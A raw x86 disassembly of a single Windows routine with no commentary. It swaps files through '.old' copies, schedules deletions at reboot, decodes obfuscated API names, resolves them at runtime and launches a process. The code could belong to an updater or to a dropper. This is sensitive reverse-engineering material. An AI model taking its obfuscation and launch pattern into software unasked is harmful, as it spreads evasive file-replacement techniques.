mov ecx, dword [ebp - 0x9a04]
call fcn.00428dd0
mov dword [ebp - 0x9a08], eax
mov edx, dword [ebp - 0x9a0c]
push edx
mov ecx, dword [ebp - 0x9a08]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x96ad], al
cmp dword [ebp - 0x96b4], 0
je 0x427724
mov ecx, dword [ebp - 0x96b4]
call fcn.00428c60
mov dword [ebp - 0x96b4], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96b8], 0
je 0x427746
mov ecx, dword [ebp - 0x96b8]
call fcn.00428c60
mov dword [ebp - 0x96b8], 0
movzx eax, byte [ebp - 0x96ad]
test eax, eax
je 0x427793
movsx ecx, byte [ebp - 0x6840]
cmp ecx, 0x30
jne 0x427776
mov edx, dword [ebp - 0x483c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov byte [eax + edx + 0x14000], 0
jmp 0x427793
mov byte [ebp - 0x1d], 1
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
mov al, byte [ebp - 0x1d]
mov byte [edx + ecx + 0x14000], al
push str.version
lea ecx, [ebp - 0x96c4]
call fcn.00428a30
mov dword [ebp - 0x9d44], eax
mov ecx, dword [ebp - 0x9d44]
mov dword [ebp - 0x9a20], ecx
mov byte [ebp - 4], 0x3a
cmp dword [ebp - 0x6848], 0
jne 0x4277cc
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9a18], edx
lea eax, [ebp - 0x96c0]
push eax
mov ecx, dword [ebp - 0x9a18]
call fcn.00428dd0
mov dword [ebp - 0x9a1c], eax
mov ecx, dword [ebp - 0x9a20]
push ecx
mov ecx, dword [ebp - 0x9a1c]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x96b9], al
cmp dword [ebp - 0x96c0], 0
je 0x42782d
mov ecx, dword [ebp - 0x96c0]
call fcn.00428c60
mov dword [ebp - 0x96c0], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96c4], 0
je 0x42784f
mov ecx, dword [ebp - 0x96c4]
call fcn.00428c60
mov dword [ebp - 0x96c4], 0
movzx edx, byte [ebp - 0x96b9]
test edx, edx
je 0x42787e
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x10000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str.identifier
lea ecx, [ebp - 0x96d0]
call fcn.00428a30
mov dword [ebp - 0x9d48], eax
mov ecx, dword [ebp - 0x9d48]
mov dword [ebp - 0x9a34], ecx
mov byte [ebp - 4], 0x3b
cmp dword [ebp - 0x6848], 0
jne 0x4278b7
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9a2c], edx
lea eax, [ebp - 0x96cc]
push eax
mov ecx, dword [ebp - 0x9a2c]
call fcn.00428dd0
mov dword [ebp - 0x9a30], eax
mov ecx, dword [ebp - 0x9a34]
push ecx
mov ecx, dword [ebp - 0x9a30]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x96c5], al
cmp dword [ebp - 0x96cc], 0
je 0x427918
mov ecx, dword [ebp - 0x96cc]
call fcn.00428c60
mov dword [ebp - 0x96cc], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96d0], 0
je 0x42793a
mov ecx, dword [ebp - 0x96d0]
call fcn.00428c60
mov dword [ebp - 0x96d0], 0
movzx edx, byte [ebp - 0x96c5]
test edx, edx
je 0x427969
lea eax, [ebp - 0x6840]
push eax
mov ecx, dword [ebp - 0x483c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x12000]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 0x44e80c
lea ecx, [ebp - 0x96dc]
call fcn.00428a30
mov dword [ebp - 0x9d4c], eax
mov ecx, dword [ebp - 0x9d4c]
mov dword [ebp - 0x9a48], ecx
mov byte [ebp - 4], 0x3c
cmp dword [ebp - 0x6848], 0
jne 0x4279a2
push 0x80004003
call fcn.0044bc80
mov edx, dword [ebp - 0x6848]
mov dword [ebp - 0x9a40], edx
lea eax, [ebp - 0x96d8]
push eax
mov ecx, dword [ebp - 0x9a40]
call fcn.00428dd0
mov dword [ebp - 0x9a44], eax
mov ecx, dword [ebp - 0x9a48]
push ecx
mov ecx, dword [ebp - 0x9a44]
call fcn.00428b70
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x96d1], al
cmp dword [ebp - 0x96d8], 0
je 0x427a03
mov ecx, dword [ebp - 0x96d8]
call fcn.00428c60
mov dword [ebp - 0x96d8], 0
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x96dc], 0
je 0x427a25
mov ecx, dword [ebp - 0x96dc]
call fcn.00428c60
mov dword [ebp - 0x96dc], 0
movzx edx, byte [ebp - 0x96d1]
test edx, edx
je 0x427a55
mov esi, dword [ebp - 0x483c]
imul esi, esi, 0x14010
lea eax, [ebp - 0x6840]
push eax
call fcn.0043df0c
add esp, 4
mov ecx, dword [ebp - 0x18]
mov dword [ecx + esi + 0x14008], eax
jmp 0x426afc
mov byte [ebp - 4], 0x2b
cmp dword [ebp - 0x6848], 0
je 0x427a7b
mov edx, dword [ebp - 0x6848]
push edx
mov eax, dword [ebp - 0x6848]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
push 0xa
push str.windows
mov eax, dword [ebp - 0x483c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
call fcn.0043de98
add esp, 0xc
test eax, eax
jne 0x427aeb
push 0x2000
mov eax, dword [ebp - 0x483c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push 0x44e574
mov eax, dword [ebp - 0x483c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
call fcn.0043ba70
add esp, 8
jmp 0x426a31
mov byte [ebp - 4], 0x29
cmp dword [ebp - 0x6844], 0
je 0x427b11
mov eax, dword [ebp - 0x6844]
push eax
mov ecx, dword [ebp - 0x6844]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
mov ecx, dword [ebp - 0x483c]
add ecx, 1
mov dword [ebp - 0x483c], ecx
jmp 0x426881
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x4840], 0
je 0x427b46
mov edx, dword [ebp - 0x4840]
push edx
mov eax, dword [ebp - 0x4840]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
mov dword [ebp - 0x684c], 0
cmp dword [ebp - 0x1c], 0
jle 0x4288a8
mov dword [ebp - 0x684c], 0
jmp 0x427b75
mov eax, dword [ebp - 0x684c]
add eax, 1
mov dword [ebp - 0x684c], eax
mov ecx, dword [ebp - 0x684c]
cmp ecx, dword [ebp - 0x1c]
jge 0x4288a8
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
movzx ecx, byte [eax + edx + 0x14000]
test ecx, ecx
je 0x427e34
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x2000]
push ecx
call fcn.0043b390
add esp, 4
test eax, eax
jbe 0x427e34
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
movsx ecx, byte [eax + edx + 0x2000]
cmp ecx, 0x23
jne 0x427e34
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x2000]
push ecx
lea edx, [ebp - 0x8860]
push edx
call fcn.0043ba60
add esp, 8
mov dword [ebp - 0x685c], 0
push str._old:
lea eax, [ebp - 0x8860]
push eax
call fcn.0043dd20
add esp, 8
mov dword [ebp - 0x685c], eax
cmp dword [ebp - 0x685c], 0
je 0x427ca7
mov ecx, dword [ebp - 0x685c]
lea edx, [ebp - 0x8860]
sub ecx, edx
add ecx, 1
mov dword [ebp - 0x6854], ecx
cmp dword [ebp - 0x6854], 1
jle 0x427ca7
mov eax, dword [ebp - 0x6854]
push eax
lea ecx, [ebp - 0x8860]
push ecx
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x2000]
push ecx
call fcn.0043b930
add esp, 0xc
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x6854]
mov byte [edx + eax + 0x2000], 0
push str._old:
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x2000]
push eax
call fcn.0043ba70
add esp, 8
push 0x45be88
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x2000]
push eax
call fcn.0043ba70
add esp, 8
lea ecx, [ebp - 0x6858]
call fcn.00421ba0
mov byte [ebp - 4], 0x3d
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x2000]
mov dword [ebp - 0x9a74], eax
cmp dword [ebp - 0x9a74], 0
jne 0x427d2f
mov dword [ebp - 0x9a70], 0
jmp 0x427d44
mov ecx, dword [ebp - 0x9a74]
push ecx
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9a70], eax
mov edx, dword [ebp - 0x9a70]
push edx
mov eax, dword [ebp - 0x9a74]
push eax
lea ecx, [ebp - 0x6858]
call fcn.00421470
push ecx
mov ecx, esp
mov dword [ebp - 0x96e0], esp
mov dword [ebp - 0x9a80], ecx
mov edx, dword [ebp - 0x6858]
sub edx, 0x10
mov dword [ebp - 0x9a78], edx
mov eax, dword [ebp - 0x9a78]
push eax
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9d50], eax
mov ecx, dword [ebp - 0x9d50]
mov dword [ebp - 0x9a7c], ecx
mov edx, dword [ebp - 0x9a7c]
add edx, 0x10
mov eax, dword [ebp - 0x9a80]
mov dword [eax], edx
mov ecx, dword [ebp - 0x9a80]
mov dword [ebp - 0x9d54], ecx
lea edx, [ebp - 0x96e4]
push edx
call fcn.0042a4d5
add esp, 8
mov dword [ebp - 0x9d58], eax
mov eax, dword [ebp - 0x9d58]
mov dword [ebp - 0x9a98], eax
mov byte [ebp - 4], 0x3e
mov ecx, dword [ebp - 0x9a98]
push ecx
lea ecx, [ebp - 0x6858]
call fcn.00421c20
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x96e4]
call fcn.00421430
mov edx, dword [ebp - 0x6858]
push edx
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x2000]
push edx
call fcn.0043ba60
add esp, 8
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6858]
call fcn.00421430
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
lea eax, [ebp - 0x8968]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x4000]
push eax
lea ecx, [ebp - 0x8968]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [ebp - 0x8968]
push edx
lea eax, [ebp - 0x9380]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 8
push str.6CAB48BD
lea ecx, [ebp - 0x96e8]
push ecx
call fcn.0042a650
add esp, 0xc
mov dword [ebp - 0x9aa4], eax
mov edx, dword [ebp - 0x9aa4]
mov eax, dword [edx]
mov dword [ebp - 0x9aa8], eax
mov ecx, dword [ebp - 0x9aa8]
push ecx
lea edx, [ebp - 0x8968]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x96e8]
call fcn.00421430
lea eax, [ebp - 0x9380]
push eax
lea ecx, [ebp - 0x8a78]
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push str..old
lea edx, [ebp - 0x8a78]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x8a78]
push eax
lea ecx, [ebp - 0x9380]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
push 1
lea edx, [ebp - 0x9380]
push edx
lea eax, [ebp - 0x8a78]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 4
push 0
lea ecx, [ebp - 0x8a78]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
lea edx, [ebp - 0x8968]
push edx
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
add eax, dword [ebp - 0x18]
push eax
lea ecx, [ebp - 0x27c0]
call fcn.00421ffa
mov byte [ebp - 0x9d59], al
movzx ecx, byte [ebp - 0x9d59]
test ecx, ecx
je 0x4284a6
lea edx, [ebp - 0x8968]
push edx
call fcn.00421ad0
add esp, 4
mov dword [ebp - 0x9d60], eax
cmp dword [ebp - 0x9d60], 0
je 0x4284a6
mov byte [ebp - 0x8969], 1
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + eax + 0x14008], 0
je 0x427ffb
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx + 0x14008]
push ecx
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x6000]
push ecx
call fcn.00424b90
add esp, 8
mov byte [ebp - 0x9d61], al
mov dl, byte [ebp - 0x9d61]
mov byte [ebp - 0x8969], dl
movzx eax, byte [ebp - 0x8969]
cmp eax, 1
jne 0x4284a6
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x6000]
push eax
call fcn.00421ab0
add esp, 4
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x6000]
push eax
call dword [sym.imp.KERNEL32.DLL_SetCurrentDirectoryA]
push 2
push 0
lea ecx, [ebp - 0x8968]
push ecx
call fcn.00431180
add esp, 0xc
mov dword [ebp - 0x9d68], eax
mov edx, dword [ebp - 0x9d68]
mov dword [ebp - 0x9384], edx
lea eax, [ebp - 0x94b8]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x9384]
push ecx
call fcn.00431240
add esp, 0xc
mov edx, dword [ebp - 0x94b8]
mov dword [ebp - 0x94bc], edx
mov dword [ebp - 0x94c0], 0
jmp 0x4280ab
mov eax, dword [ebp - 0x94c0]
add eax, 1
mov dword [ebp - 0x94c0], eax
mov ecx, dword [ebp - 0x94c0]
cmp ecx, dword [ebp - 0x94bc]
jge 0x4280f9
lea edx, [ebp - 0x94b8]
push edx
mov eax, dword [ebp - 0x94c0]
push eax
mov ecx, dword [ebp - 0x9384]
push ecx
call fcn.00431240
add esp, 0xc
push 2
push 0
lea edx, [ebp - 0x94b4]
push edx
mov eax, dword [ebp - 0x94c0]
push eax
mov ecx, dword [ebp - 0x9384]
push ecx
call fcn.004312b0
add esp, 0x14
jmp 0x42809c
mov edx, dword [ebp - 0x9384]
push edx
call fcn.00431320
add esp, 4
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
call fcn.00421ad0
add esp, 4
mov dword [ebp - 0x9d6c], eax
cmp dword [ebp - 0x9d6c], 0
je 0x4281fe
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x6000]
push edx
lea eax, [ebp - 0x9278]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push 8
push str.6CA64DB7
lea ecx, [ebp - 0x96ec]
push ecx
call fcn.0042a650
add esp, 0xc
mov dword [ebp - 0x9ab0], eax
mov edx, dword [ebp - 0x9ab0]
mov eax, dword [edx]
mov dword [ebp - 0x9ab4], eax
mov ecx, dword [ebp - 0x9ab4]
push ecx
lea edx, [ebp - 0x9278]
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [ebp - 0x96ec]
call fcn.00421430
push 1
lea eax, [ebp - 0x9278]
push eax
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x6000]
push eax
call fcn.00421990
add esp, 0xc
lea ecx, [ebp - 0x9278]
push ecx
call fcn.00421ad0
add esp, 4
mov dword [ebp - 0x9d70], eax
cmp dword [ebp - 0x9d70], 0
je 0x4281fe
push 1
lea edx, [ebp - 0x9278]
push edx
call fcn.00421850
add esp, 8
lea eax, [ebp - 0x8968]
push eax
call fcn.00421ad0
add esp, 4
mov dword [ebp - 0x9d74], eax
cmp dword [ebp - 0x9d74], 0
je 0x42822d
push 1
lea ecx, [ebp - 0x8968]
push ecx
call fcn.00421850
add esp, 8
lea edx, [ebp - 0x9380]
push edx
call fcn.00421ad0
add esp, 4
mov dword [ebp - 0x9d78], eax
cmp dword [ebp - 0x9d78], 0
je 0x4284a6
push 0x3c
push 0
lea eax, [ebp - 0x94fc]
push eax
call fcn.0043b2d0
add esp, 0xc
mov dword [ebp - 0x94fc], 0x3c
mov dword [ebp - 0x94f0], str.OPEN
lea ecx, [ebp - 0x9380]
mov dword [ebp - 0x94ec], ecx
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
lea ecx, [eax + edx + 0x2000]
mov dword [ebp - 0x94e8], ecx
mov dword [ebp - 0x94e0], 0
mov dword [ebp - 0x94f8], pe_nt_image_headers32
push 0x16
push str.31A144BF9E80200C66C764
lea edx, [ebp - 0x96f0]
push edx
call fcn.0042a650
add esp, 0xc
mov dword [ebp - 0x9abc], eax
mov eax, dword [ebp - 0x9abc]
mov ecx, dword [eax]
mov dword [ebp - 0x9ac0], ecx
mov edx, dword [ebp - 0x9ac0]
push edx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov dword [ebp - 0x9504], eax
lea ecx, [ebp - 0x96f0]
call fcn.00421430
cmp dword [ebp - 0x9504], 0
je 0x42842b
push 0x1c
push str.11A144BF9EF66A4761DE7C0307B1
lea eax, [ebp - 0x96f4]
push eax
call fcn.0042a650
add esp, 0xc
mov dword [ebp - 0x9ac8], eax
mov ecx, dword [ebp - 0x9ac8]
mov edx, dword [ecx]
mov dword [ebp - 0x9acc], edx
mov eax, dword [ebp - 0x9acc]
push eax
mov ecx, dword [ebp - 0x9504]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x9500], eax
lea ecx, [ebp - 0x96f4]
call fcn.00421430
cmp dword [ebp - 0x9500], 0
je 0x428402
mov byte [ebp - 4], 0x3f
push 6
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x4283d0
lea edx, [ebp - 0x94fc]
push edx
call dword [ebp - 0x9500]
cmp dword [ebp - 0x94dc], 0x20
jbe 0x4283ae
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
mov dword [ecx + eax + 0x1400c], 0
mov byte [ebp - 0x831], 1
jmp 0x4283ca
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x94dc]
mov dword [eax + edx + 0x1400c], ecx
call dword [sym.imp.ole32.dll_CoUninitialize]
jmp 0x4283f9
mov dword [ebp - 4], 0x18
jmp 0x42841c
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
mov dword [edx + ecx + 0x1400c], 0x3e5
mov eax, dword [ebp - 0x9504]
push eax
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x428445
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
mov dword [edx + ecx + 0x1400c], 0x3e3
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + eax + 0x14004], 0
jle 0x4284a6
mov edx, dword [ebp - 0x684c]
imul edx, edx, 0x14010
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + edx + 0x14004]
imul ecx, ecx, 0x3e8
push ecx
mov edx, dword [ebp - 0x94c4]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0x9380]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 4
push 0
lea ecx, [ebp - 0x9380]
push ecx
call dword [sym.imp.KERNEL32.DLL_MoveFileExA]
lea ecx, [ebp - 0x6850]
call fcn.00421ba0
mov byte [ebp - 4], 0x41
mov edx, 0x44e798
test edx, edx
jne 0x4284ca
mov dword [ebp - 0x9ae0], 0
jmp 0x4284dd
push 0x44e798
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9ae0], eax
mov eax, dword [ebp - 0x9ae0]
push eax
push 0x44e798
lea ecx, [ebp - 0x6850]
call fcn.00421470
mov ecx, dword [ebp - 0x684c]
imul ecx, ecx, 0x14010
mov edx, dword [ebp - 0x18]
lea eax, [edx + ecx + 0x12000]
mov dword [ebp - 0x9b00], eax
cmp dword [ebp - 0x9b00], 0
jne 0x428525
mov dword [ebp - 0x9afc], 0
jmp 0x42853a
mov ecx, dword [ebp - 0x9b00]
push ecx
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9afc], eax
mov edx, dword [ebp - 0x9afc]
push edx
mov eax, dword [ebp - 0x9b00]
push eax
lea ecx, [ebp - 0x6850]
call fcn.00429fb0
mov ecx, 0x44e794
test ecx, ecx
jne 0x428568
mov dword [ebp - 0x9b04], 0
jmp 0x42857b
push 0x44e794
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b04], eax
mov edx, dword [ebp - 0x9b04]
push edx
push 0x44e794
lea ecx, [ebp - 0x6850]
call fcn.00429fb0
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + eax + 0x1400c]
push edx
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x10000]
push edx
push str._sR_d
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x10000]
push edx
call fcn.0043b24a
add esp, 0x10
mov eax, dword [ebp - 0x684c]
imul eax, eax, 0x14010
mov ecx, dword [ebp - 0x18]
lea edx, [ecx + eax + 0x10000]
mov dword [ebp - 0x9b0c], edx
cmp dword [ebp - 0x9b0c], 0
jne 0x428615
mov dword [ebp - 0x9b08], 0
jmp 0x42862a
mov eax, dword [ebp - 0x9b0c]
push eax
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b08], eax
mov ecx, dword [ebp - 0x9b08]
push ecx
mov edx, dword [ebp - 0x9b0c]
push edx
lea ecx, [ebp - 0x6850]
call fcn.00429fb0
mov eax, dword [ebp - 0x6850]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x9b10], ecx
cmp dword [ebp - 0x9b10], 3
jle 0x428894
lea ecx, [ebp - 0x9508]
call fcn.00421ba0
mov byte [ebp - 4], 0x42
mov edx, 0x44e740
test edx, edx
jne 0x428683
mov dword [ebp - 0x9b20], 0
jmp 0x428696
push 0x44e740
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b20], eax
mov eax, dword [ebp - 0x9b20]
push eax
push 0x44e740
lea ecx, [ebp - 0x9508]
call fcn.00421470
mov ecx, 0x44e73c
test ecx, ecx
jne 0x4286c2
mov dword [ebp - 0x9b3c], 0
jmp 0x4286d5
push 0x44e73c
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b3c], eax
mov edx, dword [ebp - 0x9b3c]
push edx
push 0x44e73c
lea ecx, [ebp - 0x9508]
call fcn.00429fb0
mov eax, 0x44e574
test eax, eax
jne 0x428701
mov dword [ebp - 0x9b60], 0
jmp 0x428714
push 0x44e574
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b60], eax
mov ecx, dword [ebp - 0x9b60]
push ecx
push 0x44e574
lea ecx, [ebp - 0x9508]
call fcn.00429fb0
mov edx, 0x44e954
test edx, edx
jne 0x428740
mov dword [ebp - 0x9b84], 0
jmp 0x428753
push 0x44e954
call fcn.0043b390
add esp, 4
mov dword [ebp - 0x9b84], eax
mov eax, dword [ebp - 0x9b84]
push eax
push 0x44e954
lea ecx, [ebp - 0x9508]
call fcn.00429fb0
push SysReAllocString
push 1
push ecx
mov ecx, esp
mov dword [ebp - 0x96f8], esp
push 0x44e4c3
call fcn.004210d0
mov dword [ebp - 0x9d7c], eax
mov ecx, dword [ebp - 0x9d7c]
mov dword [ebp - 0x9d80], ecx
mov byte [ebp - 4], 0x43
push ecx
mov edx, esp
mov dword [ebp - 0x96fc], esp
mov dword [ebp - 0x9bd8], edx
mov eax, dword [ebp - 0x9508]
sub eax, 0x10
mov dword [ebp - 0x9bc0], eax
mov ecx, dword [ebp - 0x9bc0]
push ecx
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9d84], eax
mov edx, dword [ebp - 0x9d84]
mov dword [ebp - 0x9bc4], edx
mov eax, dword [ebp - 0x9bc4]
add eax, 0x10
mov ecx, dword [ebp - 0x9bd8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x9bd8]
mov dword [ebp - 0x9d88], edx
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x9528]
call fcn.00422490
mov dword [ebp - 0x9d8c], eax
mov byte [ebp - 4], 0x44
push ecx
mov eax, esp
mov dword [ebp - 0x9700], esp
mov dword [ebp - 0x9bf4], eax
mov ecx, dword [ebp - 0x6850]
sub ecx, 0x10
mov dword [ebp - 0x9bdc], ecx
mov edx, dword [ebp - 0x9bdc]
push edx
call fcn.00421ce0
add esp, 4
mov dword [ebp - 0x9d90], eax
mov eax, dword [ebp - 0x9d90]
mov dword [ebp - 0x9be0], eax
mov ecx, dword [ebp - 0x9be0]
add ecx, 0x10
mov edx, dword [ebp - 0x9bf4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x9bf4]
mov dword [ebp - 0x9d94], eax
lea ecx, [ebp - 0x9528]
call fcn.00429290
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x9528]
call fcn.00422790
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x9508]
call fcn.00421c00
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x6850]
call fcn.00421c00
jmp 0x427b66
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.0043bbdf
add esp, 4
jmp 0x428922
mov dword [ebp - 0x9704], 0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x27b8]
call fcn.00428ae0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x27c0]
call fcn.00421dca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x27b0]
call fcn.00422790
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0042a250
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00421c00
mov eax, dword [ebp - 0x9704]
jmp 0x428a0e
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x27b8]
call fcn.00428ae0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x27c0]
call fcn.00421dca
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x27b0]
call fcn.00422790
jmp 0x42896e
mov dword [ebp - 4], 2
jmp 0x4289a9
movzx edx, byte [ebp - 0x831]
test edx, edx
je 0x4289c8
movzx eax, byte [ebp - 0x1d]
test eax, eax
je 0x4289c8
mov dword [ebp - 0x9d98], 1
jmp 0x4289d2
mov dword [ebp - 0x9d98], 0
mov ecx, dword [ebp - 0x9d98]
mov dword [ebp - 0x970c], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x850]
call fcn.0042a250
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call fcn.0042a250
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.00421c00
mov eax, dword [ebp - 0x970c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x2c]
xor ecx, ebp
call fcn.0043b34a
mov esp, ebp
pop ebp
ret